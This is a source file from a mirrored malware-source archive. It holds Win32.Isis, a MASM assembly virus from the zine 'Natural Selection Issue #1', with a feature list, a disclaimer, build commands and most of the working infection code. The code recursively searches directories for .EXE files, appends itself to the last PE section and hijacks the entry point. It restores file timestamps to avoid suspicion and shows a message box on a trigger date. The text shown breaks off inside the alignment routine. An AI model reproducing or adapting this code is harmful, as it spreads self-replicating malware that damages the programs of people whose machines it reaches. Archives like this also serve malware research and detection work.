13
1
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-16 12:08:36 +00:00
vxug-MalwareSourceCode/Win32/Win32.Isis.asm
2020-10-10 22:07:43 -05:00

965 lines
42 KiB
NASM

COMMENT ` ---------------------------------------------------------------- )=-
-=( Natural Selection Issue #1 -------------------------------- Win32.Isis )=-
-=( ---------------------------------------------------------------------- )=-
-=( 0 : Win32.Isis Features ---------------------------------------------- )=-
Imports: Copies LoadLibraryA and GetProcAddress from hosts [it will
only infect files that already Import both]
Infects: PE files with an .EXE extension by expanding the last
section, but without setting the write bit
Strategy: With a fully recursive directory scanning engine that
doesn't enter directories more than once per run
Compatibility: 95/98/ME/NT/2000 Compatible, avoids Win2K SFC'd files
Saves Stamps: Yes
MultiThreaded: No
Polymorphism: None
AntiAV / EPO: None
SEH Abilities: None
Payload: Displays a MessageBoxA
-=( 1 : Win32.Isis Design Goals ------------------------------------------ )=-
: To test an implementation of MASMs type checking on API and PROC calls.
: To place all virus data into one structure that can be stack hosted, so the
write bit does not need to be set in infected sections.
: To serve as a test virus for a fast, recursive directory scanner, which does
not visit the same directory twice, and uses only stack data.
: To use Imports through GetProcAddress/LoadLibraryA, which are stolen in
hosts that already import them.
When it was finished, a friend's pet rat had died, her name was Isis, and so
the virus was named in its memory. Besides it's a nice virus name too.
-=( 2 : Win32.Isis Design Faults ----------------------------------------- )=-
While it did achieve all of the design goals, its structure really needs a lot
of work, especially to clean up the data tables. When infecting some PE
files, headers and sections can be incorrectly calculated [rarely], so that
would also need to be modified. Finally, a lot of the variables are badly
named.
-=( 3 : Win32.Isis Disclaimer -------------------------------------------- )=-
THE CONTENTS OF THIS ELECTRONIC MAGAZINE AND ITS ASSOCIATED SOURCE CODE ARE
COVERED UNDER THE BELOW TERMS AND CONDITIONS. IF YOU DO NOT AGREE TO BE BOUND
BY THESE TERMS AND CONDITIONS, OR ARE NOT LEGALLY ENTITLED TO AGREE TO THEM,
YOU MUST DISCONTINUE USE OF THIS MAGAZINE IMMEDIATELY.
COPYRIGHT
Copyright on materials in this magazine and the information therein and
their arrangement is owned by FEATHERED SERPENTS unless otherwise indicated.
RIGHTS AND LIMITATIONS
You have the right to use, copy and distribute the material in this
magazine free of charge, for all purposes allowed by your governing
laws. You are expressly PROHIBITED from using the material contained
herein for any purposes that would cause or would help promote
the illegal use of the material.
NO WARRANTY
The information contained within this magazine are provided "as is".
FEATHERED SERPENTS do not warranty the accuracy, adequacy,
or completeness of given information, and expressly disclaims
liability for errors or omissions contained therein. No implied,
express, or statutory warranty, is given in conjunction with this magazine.
LIMITATION OF LIABILITY
In *NO* event will FEATHERED SERPENTS or any of its MEMBERS be liable for any
damages including and without limitation, direct or indirect, special,
incidental, or consequential damages, losses, or expenses arising in
connection with this magazine, or the use thereof.
ADDITIONAL DISCLAIMER
Computer viruses will spread of their own accord between computer systems, and
across international boundaries. They are raw animals with no concern for the
law, and for that reason your possession of them makes YOU responsible for the
actions they carry out.
The viruses provided in this magazine are for educational purposes ONLY. They
are NOT intended for use in ANY WAY outside of strict, controlled laboratory
conditions. If compiled and executed these viruses WILL land you in court(s).
You will be held responsible for your actions. As source code these viruses
are inert and covered by implied freedom of speech laws in some
countries. In binary form these viruses are malicious weapons. FEATHERED
SERPENTS do not condone the application of these viruses and will NOT be held
LIABLE for any MISUSE.
-=( 4 : Win32.Isis Compile Instructions ---------------------------------- )=-
MASM 6.15 and LINK 6.00.8447
ml /c /Cp /coff /Fl /Zi Isis.asm
link /debug /debugtype:cv /subsystem:windows Isis.obj
-=( 5 : Win32.Isis ------------------------------------------------------- ) `
.386p ; 386 opcodes
.model flat,stdcall ; Written for flat Win32
option casemap:none ; Use mixed case symbols
include masmwinc.inc ; Win32 constant symbols
includelib c:\masm32\lib\kernel32.lib ; First-run imported API
ExitProcess PROTO :DWORD
LoadLibraryA PROTO :DWORD
GetProcAddress PROTO :DWORD, :DWORD
Host SEGMENT 'CODE'
push 0
call ExitProcess
call LoadLibraryA
call GetProcAddress
Host ENDS
; =============================================================================
; ( Virus Constants, Protos, and Macros ) =====================================
; =============================================================================
FRUN_HOSTSRVA EQU 3000H
FRUN_VIRUSRVA EQU 5000H
FRUN_LOADLIBRARYA EQU 9060H
FRUN_GETPROCADDRESS EQU 9064H
GAME_OVER_MAX EQU 6
AVOIDED_FILES EQU FILE_ATTRIBUTE_DEVICE OR FILE_ATTRIBUTE_TEMPORARY OR \
FILE_ATTRIBUTE_SPARSE_FILE OR FILE_ATTRIBUTE_REPARSE_POINT OR \
FILE_ATTRIBUTE_OFFLINE OR FILE_ATTRIBUTE_COMPRESSED OR \
FILE_ATTRIBUTE_ENCRYPTED
DO_API MACRO PARAM:VARARG
PUSHAD
INVOKE PARAM
MOV [ESP+1CH], EAX
POPAD
ENDM DO_API
CompareStringM MACRO STRING1:REQ, STRING2:REQ
DO_API tCompareStringA PTR [esi + VX.pCompareStringA], \
LOCALE_SYSTEM_DEFAULT, NORM_IGNORECASE, STRING1, -1, \
STRING2, -1
ENDM CompareStringM
CreateFileM MACRO FILENAME:REQ
DO_API tCreateFileA PTR [esi + VX.pCreateFileA], FILENAME, \
GENERIC_READ OR GENERIC_WRITE, 0, 0, OPEN_EXISTING, \
0, 0
ENDM CreateFileM
CreateFileMappingM MACRO HANDLE:REQ, SIZE:REQ
DO_API tCreateFileMappingA PTR [esi + VX.pCreateFileMappingA], \
HANDLE, 0, PAGE_READWRITE, 0, SIZE, 0
ENDM CreateFileMappingM
ListEntry MACRO POINTER: REQ, STRING:REQ, TYPE:VARARG
p&POINTER DD 0
s&POINTER DB STRING, 0
TYPE
ENDM ListEntry
MapViewOfFileM MACRO HANDLE:REQ
DO_API tMapViewOfFile PTR [esi + VX.pMapViewOfFile], HANDLE, \
FILE_MAP_ALL_ACCESS, NULL, NULL, NULL
ENDM MapViewOfFileM
VirusEntry PROTO
Recurse PROTO VD:PTR VX, RL:PTR RX
AccessFile PROTO VD:PTR VX, RD:PTR RX
PrepareFile PROTO VD:PTR VX, RD:PTR RX, MAP:DWORD
ImportScan PROTO VD:PTR VX, MAP:DWORD, TABLE:DWORD
FinishFile PROTO VD:PTR VX, RD:PTR RX, MAP:DWORD
AlignToVA PROTO VALUE:DWORD, ALIGNER:DWORD
ConvertToVA PROTO MAP:DWORD, VALUE:DWORD
___SfcIsFileProtected PROTO A:DWORD, B:DWORD
___CheckSumMappedFile PROTO A:DWORD, B:DWORD, Y:DWORD, Z:DWORD
; =============================================================================
; ( Virus Structures ) ========================================================
; =============================================================================
VX STRUCT DWORD
VirusEntryPoint DD FRUN_VIRUSRVA
HostsEntryPoint DD FRUN_HOSTSRVA
LoadLibraryRVA DD FRUN_LOADLIBRARYA
GetProcAddressRVA DD FRUN_GETPROCADDRESS
DeltaOffset DD 0
GameOverMan DD 0
FindSpecification DB '*', 0
ExecSpecification DB '.EXE', 0
SectionEntry DD 0
NewFileSize DD 0
NewSectionSize DD 0
ImportList DD VX.pCloseHandle, VX.ImportKernel32, NULL
DD VX.pCompareStringA, VX.ImportKernel32, NULL
DD VX.pCreateFileA, VX.ImportKernel32, NULL
DD VX.pCreateFileMappingA, VX.ImportKernel32, NULL
DD VX.pFindClose, VX.ImportKernel32, NULL
DD VX.pFindFirstFileA, VX.ImportKernel32, NULL
DD VX.pFindNextFileA, VX.ImportKernel32, NULL
DD VX.pGetCurrentDirectoryA, VX.ImportKernel32, NULL
DD VX.pGetFileAttributesA, VX.ImportKernel32, NULL
DD VX.pGetLocalTime, VX.ImportKernel32, NULL
DD VX.pMapViewOfFile, VX.ImportKernel32, NULL
DD VX.pSetCurrentDirectoryA, VX.ImportKernel32, NULL
DD VX.pSetFileAttributesA, VX.ImportKernel32, NULL
DD VX.pSetFileTime, VX.ImportKernel32, NULL
DD VX.pUnmapViewOfFile, VX.ImportKernel32, NULL
DD VX.pMessageBoxA, VX.ImportUser32, NULL
DD VX.pCheckSumMappedFile, VX.ImportImageHlp, AlternSum - WinMain
DD VX.pSfcIsFileProtected, VX.ImportSfc, AlternSfc - WinMain
DD NULL
ImportKernel32 DB 'KERNEL32.DLL', 0
ListEntry CloseHandle, 'CloseHandle', tCloseHandle TYPEDEF PROTO :DWORD
ListEntry CompareStringA, 'CompareStringA', tCompareStringA TYPEDEF PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD
ListEntry CreateFileA, 'CreateFileA', tCreateFileA TYPEDEF PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD
ListEntry CreateFileMappingA, 'CreateFileMappingA', tCreateFileMappingA TYPEDEF PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD,:DWORD
ListEntry FindClose, 'FindClose', tFindClose TYPEDEF PROTO :DWORD
ListEntry FindFirstFileA, 'FindFirstFileA', tFindFirstFileA TYPEDEF PROTO :DWORD,:DWORD
ListEntry FindNextFileA, 'FindNextFileA', tFindNextFileA TYPEDEF PROTO :DWORD,:DWORD
ListEntry GetCurrentDirectoryA, 'GetCurrentDirectoryA', tGetCurrentDirectoryA TYPEDEF PROTO :DWORD,:DWORD
ListEntry GetFileAttributesA, 'GetFileAttributesA', tGetFileAttributesA TYPEDEF PROTO :DWORD
ListEntry GetProcAddress, 'GetProcAddress', tGetProcAddress TYPEDEF PROTO :DWORD,:DWORD
ListEntry GetLocalTime, 'GetLocalTime', tGetLocalTime TYPEDEF PROTO :DWORD
ListEntry LoadLibraryA, 'LoadLibraryA', tLoadLibraryA TYPEDEF PROTO :DWORD
ListEntry MapViewOfFile, 'MapViewOfFile', tMapViewOfFile TYPEDEF PROTO :DWORD,:DWORD,:DWORD,:DWORD,:DWORD
ListEntry SetCurrentDirectoryA, 'SetCurrentDirectoryA', tSetCurrentDirectoryA TYPEDEF PROTO :DWORD
ListEntry SetFileAttributesA, 'SetFileAttributesA', tSetFileAttributesA TYPEDEF PROTO :DWORD,:DWORD
ListEntry SetFileTime, 'SetFileTime', tSetFileTime TYPEDEF PROTO :DWORD,:DWORD,:DWORD,:DWORD
ListEntry UnmapViewOfFile, 'UnmapViewOfFile', tUnmapViewOfFile TYPEDEF PROTO :DWORD
ImportUser32 DB 'USER32.DLL', 0
ListEntry MessageBoxA, 'MessageBoxA', tMessageBoxA TYPEDEF PROTO :DWORD,:DWORD,:DWORD,:DWORD
ImportImageHlp DB 'IMAGEHLP.DLL', 0
ListEntry CheckSumMappedFile, 'CheckSumMappedFile', tCheckSumMappedFile TYPEDEF PROTO :DWORD,:DWORD,:DWORD,:DWORD
ImportSfc DB 'SFC.DLL', 0
ListEntry SfcIsFileProtected, 'SfcIsFileProtected', tSfcIsFileProtected TYPEDEF PROTO :DWORD,:DWORD
VirusTitle DB 'Your Computer Flows With The Spyryt Of Win32.Isis', 0 ; Your Computer Flows With The Spyryt Of Win32.Isis
VirusMessage DB 'Dedicated to our Isis and Horus: Maman vous aime!', 13, 10 ; Dedicated to our Isis and Horus: Maman vous aime!
DB 13, 10 ;
DB 'Create', 9, 'PROTO Mother:PTR Rat, Father:PTR Rat', 13, 10 ; Create PROTO Mother:PTR Rat, Father:PTR Rat
DB 9, '...', 13, 10 ; ...
DB 'Rat', 9, 'STRUCT', 13, 10 ; Rat STRUCT
DB 9, 'Colour', 9, 'DB 10 DUP (?)', 13, 10 ; Colour DB 10 DUP (?)
DB 9, 'Length', 9, 'DD ?', 13, 10 ; Length DD ?
DB 'Rat', 9, 'ENDS', 13, 10 ; Rat ENDS
DB 9, '...', 13, 10 ; ...
DB 'Isis', 9, 'Rat {''Drk', 9, 'Blonde'', 9}', 9, '; Mother', 13, 10 ; Isis Rat {'Drk Blonde', 9} ; Mother
DB 'Horus', 9, 'Rat {''Ash', 9, 'Blonde'', 7}', 9, '; Father', 13, 10 ; Horus Rat {'Ash Blonde', 7} ; Father
DB 9, '...', 13, 10 ; ...
DB 9, 'INVOKE Create, ADDR Isis, ADDR Horus', 13, 10 ; INVOKE Create, ADDR Isis, ADDR Horus
DB 9, '...', 13, 10 ; ...
DB 'Create', 9, 'PROC', 9, 'USES', 9, 'EBX ECX EDX ESI EDI,', 13, 10 ; Create PROC USES EBX ECX EDX ESI EDI
DB 9, 9, 9, 'Mother:PTR Rat, Father:PTR Rat', 13, 10 ; Mother:PTR Rat, Father:PTR Rat
DB 9, 9, 'LOCAL', 9, 'Daughter:Rat', 13, 10 ; LOCAL Daughter:Rat
DB 13, 10 ;
DB 9, 'mov esi,', 9, '[Mother', 9, ']', 13, 10 ; mov esi, [Mother]
DB 9, 'mov esi,', 9, '[esi', 9, ']', 13, 10 ; mov esi, [esi]
DB 9, 'mov ebx,', 9, '[esi + Rat.Length', 9, ']', 13, 10 ; mov ebx, [esi + Rat.Length]
DB 9, 'mov edi,', 9, '[Father', 9, ']', 13, 10 ; mov edi, [Father]
DB 9, 'mov edi,', 9, '[edi', 9, ']', 13, 10 ; mov edi, [edi]
DB 9, 'add ebx,', 9, '[edi + Rat.Length', 9, ']', 13, 10 ; add ebx, [edi + Rat.Length]
DB 9, 'shr ebx,', 9, 9, '1', 13, 10 ; shr ebx, 1
DB 9, 'mov [Daughter.Length],', 9, 'ebx', 13, 10 ; mov [Daughter.Length], ebx
DB 9, '...', 13, 10 ; ...
DB 13, 10, 0 ;
ALIGN 4
VX ENDS
RX STRUCT DWORD
FindData WIN32_FIND_DATA {?}
FindHandle DD ?
NewDirectory DD MAX_PATH DUP (?)
CurrentDirectory DD MAX_PATH DUP (?)
LastRecurse DD ?
ALIGN 4
RX ENDS
; =============================================================================
; ( Virus EntryPoint ) ========================================================
; =============================================================================
Virus SEGMENT 'CODE'
WinMain:
push NULL ; Updated to become HostsEntryPoint later
VirusEntry PROC
LOCAL VD:VX
; Save the registers for our host, calculate WinMain VA and Delta Offset
pusha
pushfd
call @F
@@: pop esi
sub esi, 12h ; @B - WinMain
mov eax, esi
sub esi, offset WinMain
push esi
; Copy our data section into the allocated stack area. Must be / DWORD.
lea esi, [esi][Virus_Data]
lea edi, [VD]
mov ecx, Size VD / 4
cld
rep movsd
pop [VD.DeltaOffset ]
; ImageBase = WinMain VA - WinMain RVA. Convert critical API RVA to VA.
sub eax, [VD.VirusEntryPoint ]
push eax
add eax, [VD.LoadLibraryRVA ]
mov eax, [eax]
mov [VD.pLoadLibraryA], eax
pop eax
push eax
add eax, [VD.GetProcAddressRVA]
mov eax, [eax]
mov [VD.pGetProcAddress], eax
pop eax
; Overwrite the NULL we stored on the stack with our Hosts EntryPoint VA
add eax, [VD.HostsEntryPoint ]
mov [ebp + DWORD], eax
; Parse our ImportList. Formatted as: API RVA, DLL RVA, ALTERNATE RVA.
lea esi, [VD.ImportList]
@@: lodsd ; RVA of API DWORD
or eax, eax ; NULL if List End
jz @F ; Stop if it's the end of this List
lea edi, [eax][VD] ; EDI = Where to write final API VA
lea ebx, [eax][VD][4] ; API Name String follows API DWORD
lodsd ; DLL Name String RVA
DO_API tLoadLibraryA PTR [VD.pLoadLibraryA ], ADDR [VD][eax]
DO_API tGetProcAddress PTR [VD.pGetProcAddress], eax, ebx
stosd ; Save VA into API VA
or eax, eax ; Check if successful
lodsd ; Alternate Entry RVA
jnz @B ; Loop back if all OK
or eax, eax ; Check if Alternate doesn't exist
jz WinExit ; Abort, because we need something
add eax, offset WinMain
add eax, [VD.DeltaOffset]
mov [edi][-4], eax
jmp @B ; Save Alternates VA and loop back
@@: ; Initialize counter, recurse through directories for infectable files
mov [VD.GameOverMan], NULL
DO_API Recurse, ADDR [VD], NULL
; Check if the date is 21st of November which is when Isis passed away
DO_API tGetLocalTime PTR [VD.pGetLocalTime], ADDR [VD]
cmp WORD PTR [VD][2], 11
jne WinExit
cmp WORD PTR [VD][6], 20
jne WinExit
DO_API tMessageBoxA PTR [VD.pMessageBoxA], NULL, ADDR [VD.VirusMessage], ADDR [VD.VirusTitle], NULL
WinExit:
popfd
popa
ret
VirusEntry ENDP
; =============================================================================
; ( Directory/File Recursion ) ================================================
; =============================================================================
Recurse PROC VD:Ptr VX, RL:Ptr RX
LOCAL RD:RX
; Search for the first entry in our current directory
mov esi, [VD]
mov eax, [RL]
mov [RD.LastRecurse], eax
DO_API tFindFirstFileA PTR [esi][VX.pFindFirstFileA], ADDR [esi][VX.FindSpecification], ADDR [RD.FindData]
mov [RD.FindHandle], eax
cmp eax, INVALID_HANDLE_VALUE
je RecurseExit
RecurseOkay:
; Don't touch files or directories with these strange attributes set
test dword ptr [RD.FindData.FileAttributes], AVOIDED_FILES
jnz RecurseNext
; Split between file / directory routines
test dword ptr [RD.FindData.FileAttributes], FILE_ATTRIBUTE_DIRECTORY
jnz RecurseDirs
; Locate end of file name
lea edi, [RD.FindData.FileName ]
xor eax, eax
mov ecx, MAX_PATH
repnz scasb
jnz RecurseNext
sub edi, 5
; Compare extension with .EXE
lea eax, [esi][VX.ExecSpecification]
CompareStringM eax, edi
cmp eax, 2
jne RecurseNext
; Check if it's under SFC protection or if it's too big for us to handle
DO_API tSfcIsFileProtected PTR [esi][VX.pSfcIsFileProtected], NULL, ADDR [RD.FindData.FileName]
or eax, eax
jnz @F
cmp [RD.FindData.FileSizeHigh], 0
jne @F
DO_API AccessFile, [VD], ADDR [RD]
@@: jmp RecurseNext
RecurseDirs:
; Don't recurse if we've recursed enough. Save the current directory and
; change to the new one and save its full directory name as well.
cmp [esi][VX.GameOverMan], GAME_OVER_MAX
je RecurseNext
DO_API tGetCurrentDirectoryA PTR [esi][VX.pGetCurrentDirectoryA], MAX_PATH, ADDR [RD.CurrentDirectory ]
cmp eax, NULL
je RecurseNext
DO_API tSetCurrentDirectoryA PTR [esi][VX.pSetCurrentDirectoryA], ADDR [RD.FindData.FileName]
cmp eax, NULL
je RecurseNext
DO_API tGetCurrentDirectoryA PTR [esi][VX.pGetCurrentDirectoryA], MAX_PATH, ADDR [RD.NewDirectory ]
cmp eax, NULL
je RecurseNext
; Loop through each Recurse stack comparing New to Currents
lea ebx, [RD.NewDirectory ]
lea edi, [RD]
@@: lea ecx, [edi][RX.CurrentDirectory]
CompareStringM ecx, ebx
cmp eax, 2
je RecurseMatch
mov edi, [edi][RX.LastRecurse]
or edi, edi
jnz @B
inc [esi][VX.GameOverMan ]
DO_API Recurse, [VD], ADDR [RD]
dec [esi][VX.GameOverMan ]
RecurseMatch:
DO_API tSetCurrentDirectoryA PTR [esi][VX.pSetCurrentDirectoryA], ADDR [RD.CurrentDirectory]
RecurseNext:
; Abort if we've recursed and infected enough
cmp [esi][VX.GameOverMan], GAME_OVER_MAX
je RecurseCleanup
; Continue the search for files / directories
DO_API tFindNextFileA PTR [esi][VX.pFindNextFileA], [RD.FindHandle], ADDR [RD.FindData ]
or eax, eax
jne RecurseOkay
RecurseCleanup:
; Close our search handle and exit
DO_API tFindClose PTR [esi][VX.pFindClose], [RD.FindHandle]
RecurseExit:
ret
Recurse ENDP
; =============================================================================
; ( File Access Moderator ) ===================================================
; =============================================================================
AccessFile PROC VD:PTR VX, RD:PTR RX
; Remove attributes only if necessary
mov esi, [VD]
mov edi, [RD]
test [esi][RX.FindData.FileAttributes], FILE_ATTRIBUTE_READONLY OR FILE_ATTRIBUTE_SYSTEM
jz @F
DO_API tSetFileAttributesA PTR [esi][VX.pSetFileAttributesA], ADDR [edi][RX.FindData.FileName], FILE_ATTRIBUTE_NORMAL
or eax, eax
jz AccessExit
@@: ; Open the file fully, saving each handle on the stack as we go
CreateFileM ADDR [edi][RX.FindData.FileName]
cmp eax, INVALID_HANDLE_VALUE
je AccessAttributes
push eax
push eax
CreateFileMappingM eax, 0
or eax, eax
jz AccessCloseFile
push eax
MapViewOfFileM eax
cmp eax, INVALID_HANDLE_VALUE
jz AccessCloseMap
push eax
; Prepare the file for infection by making sure headers are correct,
; working out how much space we will add to the file sections, etc
DO_API PrepareFile, [VD], [RD], eax
or eax, eax
jz AccessCloseView
; Close the file and reopen it bigger to fit the virus inside
pop eax
DO_API tUnmapViewOfFile PTR [esi][VX.pUnmapViewOfFile], eax
pop eax
DO_API tCloseHandle PTR [esi][VX.pCloseHandle], eax
pop eax
push eax
CreateFileMappingM eax, [esi][VX.NewFileSize]
or eax, eax
jz AccessCloseFile
push eax
MapViewOfFileM eax
cmp eax, INVALID_HANDLE_VALUE
jz AccessCloseMap
push eax
; Finish up infecting the file and increment infection counter
DO_API FinishFile, [VD], [RD], eax
or eax, eax
jz AccessCloseView
inc [esi][VX.GameOverMan ]
AccessCloseView:
pop eax
DO_API tUnmapViewOfFile PTR [esi][VX.pUnmapViewOfFile], eax
AccessCloseMap:
pop eax
DO_API tCloseHandle PTR [esi][VX.pCloseHandle], eax
AccessCloseFile:
; Reset file stamps so that we don't look too suspicious
pop ebx
DO_API tSetFileTime PTR [esi][VX.pSetFileTime], ebx, ADDR [edi][RX.FindData.LastWriteTime], ADDR [edi][RX.FindData.LastAccessTime], ADDR [edi][RX.FindData.CreationTime]
pop eax
DO_API tCloseHandle PTR [esi][VX.pCloseHandle], eax
AccessAttributes:
; Restore attributes only if they were changed
test [esi][RX.FindData.FileAttributes], FILE_ATTRIBUTE_READONLY OR \
FILE_ATTRIBUTE_SYSTEM
jz AccessExit
DO_API tSetFileAttributesA PTR [esi][VX.pSetFileAttributesA], ADDR [edi][RX.FindData.FileName], [edi][RX.FindData.FileAttributes]
AccessExit:
ret
AccessFile ENDP
; =============================================================================
; ( Infection Preparation ) ===================================================
; =============================================================================
PrepareFile PROC VD:PTR VX, RD:PTR RX, MAP:DWORD
; Is the file already infected?
mov esi, [VD ]
mov edi, [MAP]
cmp [edi][IMAGE_DOS_HEADER.e_csum], -1
je PrepareFail
cmp [edi][IMAGE_DOS_HEADER.e_magic], IMAGE_DOS_SIGNATURE
jne PrepareFail
; Are the standard COFF headers okay?
add edi, [edi][IMAGE_DOS_HEADER.e_lfanew]
cmp [edi][PE.Signature], IMAGE_NT_SIGNATURE
jne PrepareFail
cmp [edi][PE.Machine], IMAGE_FILE_MACHINE_I386
jne PrepareFail
cmp [edi][PE.SizeOfOptionalHeader], IMAGE_SIZEOF_NT_OPTIONAL32_HEADER
jne PrepareFail
cmp [edi][PE.Magic], IMAGE_NT_OPTIONAL_HDR32_MAGIC
jne PrepareFail
cmp [edi][PE.SizeOfHeaders], 0
je PrepareFail
; Do some checks on the Import Table
cmp [edi][PE.NumberOfRvaAndSizes], 2
jb PrepareFail
cmp [edi][PE.DataDirectory.Import.Sizes], 0
je PrepareFail
DO_API ConvertToVA, [MAP], [edi][PE.DataDirectory.Import.RVA]
mov edx, eax
or edx, edx
jz PrepareFail
; Loop through each IMPORT Entry looking for a 'Kernel32.DLL' Name. For
; each found we ImportScan for our LoadLibraryA and GetProcAddress. We
; can get both from the one IMPORT Entry, or if only one is found, then
; we continue scanning incase there are multiple 'Kernel32.DLL', IMPORT
; entries with procedures split across them.
mov ecx, [edi][PE.DataDirectory.Import.Sizes]
mov [esi][VX.LoadLibraryRVA], 0
mov [esi][VX.GetProcAddressRVA], 0
@@: DO_API ConvertToVA, [MAP], [edx][IMPORT.Names ]
or eax, eax
jz PrepareFail
lea ebx, [esi][VX.ImportKernel32]
CompareStringM eax, ebx
cmp eax, 2
jne PrepareNext
DO_API ImportScan, [VD], [MAP], edx
or eax, eax
jnz @F
PrepareNext:
add edx, SIZE IMPORT
sub ecx, SIZE IMPORT
jz PrepareFail
cmp ecx, [edi][PE.DataDirectory.Import.Sizes]
jae PrepareFail
jmp @B
@@: ; Scan through the SECTION Table and find the last 'Physical' SECTION. We
; save its RVA because its VA won't be valid when FinalFile needs it.
movzx ecx, [edi][PE.NumberOfSections ]
add di, [edi][PE.SizeOfOptionalHeader ]
adc edi, PE.Magic
xor eax, eax
PrepareSection:
; Also check there are no 'bad' entries
cmp [edi][SECTION.VirtualSize], 0
je PrepareFail
cmp [edi][SECTION.SizeOfRawData], 0
je PrepareFail
cmp [edi][SECTION.PointerToRawData], eax
jb @F
mov eax, [edi][SECTION.PointerToRawData]
mov edx, edi
@@: add edi, SIZE SECTION
loop PrepareSection
mov edi, edx
sub edx, [MAP]
mov [esi][VX.SectionEntry], edx
; Calculate how big the SECTION will be to completely engulf the rest of
; the file [including DEBUG information] and save as VirusEntryPoint
mov edx, [RD]
mov eax, [edx][RX.FindData.FileSizeLow ]
sub eax, [edi][SECTION.PointerToRawData]
push eax
add eax, [edi][SECTION.VirtualAddress ]
mov [esi][VX.VirusEntryPoint], eax
pop eax
; Calculate the SECTION + Slack + Virus + Padding Size
mov edx, [MAP]
add edx, [edx][IMAGE_DOS_HEADER.e_lfanew ]
add eax, Virus_Size
DO_API AlignToVA, eax, [edx][PE.FileAlignment]
mov [esi + VX.NewSectionSize], eax
add eax, [edi][SECTION.PointerToRawData ]
jc PrepareFail
mov [esi][VX.NewFileSize], eax
mov eax, -1
jmp PrepareExit
PrepareFail:
xor eax, eax
PrepareExit:
ret
PrepareFile ENDP
; =============================================================================
; ( Infection Import Scanner ) ================================================
; =============================================================================
ImportScan PROC VD:PTR VX, MAP:DWORD, TABLE:DWORD
; Locate the correct Thunk List which is swapped between MASM and TASM
mov esi, [VD]
mov edi, [TABLE]
mov eax, [edi][IMPORT.OriginalFirstThunk]
or eax, eax
jnz @F
mov eax, [edi][IMPORT.FirstThunk ]
@@: DO_API ConvertToVA, [MAP], eax
or eax, eax
jz ImportExit
mov edi, eax
xor ecx, ecx
; Check if entry is the last in the table. If not, skip it if it's an
; Ordinal entry, or load up where it points to and skip the Hint.
ImportLoop:
mov eax, [edi]
or eax, eax
jz ImportFinish
js ImportNext
DO_API ConvertToVA, [MAP], eax
or eax, eax
jz ImportFail
inc eax
inc eax
; Compare the string to our GetProcAddress string. If it matches, we
; move onto the 'save' section which is pointed to by EDX. We saved
; EAX for our next compare.
push eax
lea edx, [esi][VX.GetProcAddressRVA ]
CompareStringM ADDR [esi][VX.sGetProcAddress ], eax
cmp eax, 2
pop eax
je @F
; Compare the string to our LoadLibraryA string. If it matches, we
; move onto the 'save' section which is pointed to by EDX. We didn't
; save EAX, it's not needed anymore.
lea edx, [esi][VX.LoadLibraryRVA ]
CompareStringM ADDR [esi][VX.sLoadLibraryA ], eax
cmp eax, 2
jne ImportNext
@@: ; FirstThunk is the one that will be overwritten with the VAs of API on
; execution, wether linked with MASM or TASM. Save its RVA for later.
mov ebx, [TABLE ]
mov ebx, [ebx][IMPORT.FirstThunk]
lea ebx, [ebx + ecx * 4 ]
mov [edx], ebx
ImportNext:
inc ecx
add edi, 4
jmp ImportLoop
ImportFinish:
; Failed by default, meaning continue searching for more Kernel32.DLL
; Imports. If both API have been filled in, the loop routine that has
; called us can stop searching.
mov eax, -1
cmp [esi][VX.LoadLibraryRVA], 0
je ImportFail
cmp [esi][VX.GetProcAddressRVA], 0
jne ImportExit
ImportFail:
xor eax, eax
ImportExit:
ret
ImportScan ENDP
; =============================================================================
; ( Infection Finishing ) =====================================================
; =============================================================================
FinishFile PROC VD:PTR VX, RD:PTR RX, MAP:DWORD
; Set our infection marker
mov esi, [VD ]
mov edi, [MAP]
mov [edi][IMAGE_DOS_HEADER.e_csum], -1
; ESI = VD, EDI = PE, EDX = SECTION
mov edx, [esi][VX.SectionEntry ]
lea edx, [edi][edx ]
add edi, [edi][IMAGE_DOS_HEADER.e_lfanew]
push edi
; Write all new SECTION fields
mov eax, [edx][SECTION.VirtualSize ]
cmp eax, [edx][SECTION.SizeOfRawData ]
ja @F
mov eax, [edx][SECTION.SizeOfRawData ]
@@: DO_API AlignToVA, eax, [edi][PE.SectionAlignment ]
sub [edi][PE.SizeOfImage], eax
DO_API AlignToVA, [esi][VX.NewSectionSize], [edi][PE.SectionAlignment]
add [edi][PE.SizeOfImage], eax
mov ebx, [esi][VX.NewSectionSize]
mov [edx][SECTION.VirtualSize ], ebx
mov [edx][SECTION.SizeOfRawData ], ebx
or [edx][SECTION.Characteristics], IMAGE_SCN_MEM_READ
; Decide what SizeOfX SECTION we're in, subtract and update
mov eax, [edx][SECTION.VirtualSize ]
cmp eax, [edx][SECTION.SizeOfRawData ]
ja @F
mov eax, [edx][SECTION.SizeOfRawData ]
@@: lea ecx, [edi][PE.SizeOfCode ]
test [edx][SECTION.Characteristics], IMAGE_SCN_CNT_CODE
jnz @F
lea ecx, [edi][PE.SizeOfInitializedData ]
test [edx][SECTION.Characteristics], IMAGE_SCN_CNT_INITIALIZED_DATA
jnz @F
lea ecx, [edi][PE.SizeOfUninitializedData ]
@@: DO_API AlignToVA, eax, [edi][PE.FileAlignment]
sub [ecx], eax
mov eax, [esi][VX.NewSectionSize ]
add [ecx], eax
; Set the new EntryPoint and save the old one
mov ebx, [esi][VX.VirusEntryPoint ]
push ebx
xchg [edi][PE.AddressOfEntryPoint], ebx
mov [esi][VX.HostsEntryPoint], ebx
pop ebx
; Write the code section of the virus
DO_API ConvertToVA, [MAP], ebx
push esi
mov esi, [esi][VX.DeltaOffset]
lea esi, [esi][WinMain ]
mov edi, eax
mov ecx, Virus_Code / 4
rep movsd
pop esi
; Write the data section of the virus
push esi
mov ecx, Size VX / 4
rep movsd
pop esi
; Do the checksums, one of which is pointing to a junk area
pop ebx
DO_API tCheckSumMappedFile PTR [esi][VX.pCheckSumMappedFile], [MAP], [esi][VX.NewFileSize], ADDR [esi][VX.SectionEntry], ADDR [ebx][PE.CheckSum]
FinishExit:
ret
FinishFile ENDP
; =============================================================================
; ( Align to Boundary ) =======================================================
; =============================================================================
AlignToVA PROC VALUE:DWORD, ALIGNER:DWORD
; EDX:EAX = VALUE. Divide by ECX, subtract remainder and add ALIGNER.
mov eax, [VALUE ]
xor edx, edx
mov ecx, [ALIGNER]
div ecx
or edx, edx
mov eax, [VALUE ]
jz AlignExit
add eax, [ALIGNER]
AlignExit:
sub eax, edx
